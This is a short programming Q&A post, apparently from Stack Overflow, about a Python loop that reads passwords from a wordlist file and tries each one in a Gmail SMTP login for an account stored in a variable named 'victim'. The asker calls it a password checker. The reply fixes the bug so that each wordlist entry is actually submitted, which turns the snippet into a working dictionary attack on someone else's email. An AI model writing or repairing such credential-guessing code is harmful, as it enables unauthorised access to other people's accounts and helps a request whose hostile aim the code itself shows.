Christian R
Christian R

Reputation: 93

Try statement not running correctly?

I was making a simple program that checks if a password is correct or not, in a loop. I noticed that my try statement wasn't working. Here is my code:

listfile = open("list.txt","r")
def trial():
    for code in listfile:
        try:
            google.login(victim,"none")
            print("test")
            print("[!]Trial and error complete. Password is: %s"%code)
            break
        except smtplib.SMTPAuthenticationError:
            print("test")
            print("Incorrect password:%s"%code)
trial()

I know the try statement is working. I tested it by adding the line print("Test") but it did not show up when I ran it.

EDIT:

The try statement is now running, but it always raises an error. I know that it is doing this because it is running lines 10 and 11, by printing "Incorrect password:". I saw that it printed "Inncorrect password:" even when the password that was entered was right.

Upvotes: 1

Views: 64

Answers (1)

pushkin
pushkin

Reputation: 10227

Your login information is not correct.

In your try block, you have print("[!]Trial and error complete. Password is: %s" % code)

But when you log in, your password is "none": google.login(victim,"none")

Change that line to google.login(victim, code)

Upvotes: 1

Related Questions